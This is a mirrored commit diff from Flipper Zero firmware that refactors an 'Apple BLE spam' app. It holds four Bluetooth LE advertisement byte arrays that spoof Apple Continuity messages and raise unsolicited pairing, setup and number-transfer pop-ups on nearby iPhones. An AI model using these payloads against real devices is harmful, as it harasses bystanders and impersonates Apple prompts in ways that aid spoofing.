mirror of
https://github.com/Next-Flip/Momentum-Firmware.git
synced 2026-06-07 19:01:54 -07:00
Refactor adv struct in apple ble spam app --nobuild
This commit is contained in:
+12
-27
@@ -6,56 +6,41 @@
|
||||
#include "apple_ble_spam_icons.h"
|
||||
#include <furi_hal_bt.h>
|
||||
|
||||
#define PAYLOAD_ADV_LEN 23
|
||||
|
||||
typedef struct {
|
||||
const char* title;
|
||||
const char* text;
|
||||
const size_t adv_len;
|
||||
const uint8_t* adv_data;
|
||||
const uint8_t adv[PAYLOAD_ADV_LEN];
|
||||
} Payload;
|
||||
|
||||
// Payload data by @techryptic
|
||||
// https://techryptic.github.io/2023/09/01/Annoying-Apple-Fans/
|
||||
|
||||
static const uint8_t apple_keyboard_adv[] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00,
|
||||
0x00, 0x00, 0x0f, 0x05, 0xc1, 0x13, 0x60, 0x4c,
|
||||
0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00};
|
||||
|
||||
static const uint8_t new_iphone_adv[] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00,
|
||||
0x00, 0x00, 0x0f, 0x05, 0xc0, 0x09, 0x60, 0x4c,
|
||||
0x95, 0x01, 0x00, 0x10, 0x00, 0x00, 0x00};
|
||||
|
||||
static const uint8_t join_appletv_adv[] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00,
|
||||
0x00, 0x00, 0x0f, 0x05, 0xc0, 0x27, 0x60, 0x4c,
|
||||
0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00};
|
||||
|
||||
static const uint8_t transfer_number_adv[] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00,
|
||||
0x00, 0x00, 0x0f, 0x05, 0xc0, 0x02, 0x60, 0x4c,
|
||||
0x95, 0x01, 0x00, 0x10, 0x00, 0x00, 0x00};
|
||||
|
||||
static const Payload payloads[] = {
|
||||
{
|
||||
.title = "Apple Keyboard",
|
||||
.text = "'Password AutoFill for Apple TV Keyboard' banner notification",
|
||||
.adv_len = COUNT_OF(apple_keyboard_adv),
|
||||
.adv_data = apple_keyboard_adv,
|
||||
.adv = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05,
|
||||
0xc1, 0x13, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00},
|
||||
},
|
||||
{
|
||||
.title = "New iPhone",
|
||||
.text = "'Set Up New iPhone' dialog on homescreen and lockscreen",
|
||||
.adv_len = COUNT_OF(new_iphone_adv),
|
||||
.adv_data = new_iphone_adv,
|
||||
.adv = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05,
|
||||
0xc0, 0x09, 0x60, 0x4c, 0x95, 0x01, 0x00, 0x10, 0x00, 0x00, 0x00},
|
||||
},
|
||||
{
|
||||
.title = "Join AppleTV",
|
||||
.text = "'Join This Apple TV?' dialog on homescreen and lockscreen",
|
||||
.adv_len = COUNT_OF(join_appletv_adv),
|
||||
.adv_data = join_appletv_adv,
|
||||
.adv = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05,
|
||||
0xc0, 0x27, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00},
|
||||
},
|
||||
{
|
||||
.title = "Transfer Number",
|
||||
.text = "'Transfer Phone Number' dialog on homescreen and lockscreen",
|
||||
.adv_len = COUNT_OF(transfer_number_adv),
|
||||
.adv_data = transfer_number_adv,
|
||||
.adv = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05,
|
||||
0xc0, 0x02, 0x60, 0x4c, 0x95, 0x01, 0x00, 0x10, 0x00, 0x00, 0x00},
|
||||
},
|
||||
};
|
||||
|
||||
@@ -79,7 +64,7 @@ static void toggle_payload(bool* advertising, size_t payload_index) {
|
||||
*advertising = !*advertising;
|
||||
if(*advertising) {
|
||||
const Payload* payload = &payloads[payload_index];
|
||||
furi_hal_bt_set_custom_adv_data(payload->adv_data, payload->adv_len);
|
||||
furi_hal_bt_set_custom_adv_data(payload->adv, PAYLOAD_ADV_LEN);
|
||||
} else {
|
||||
furi_hal_bt_set_custom_adv_data(NULL, 0);
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user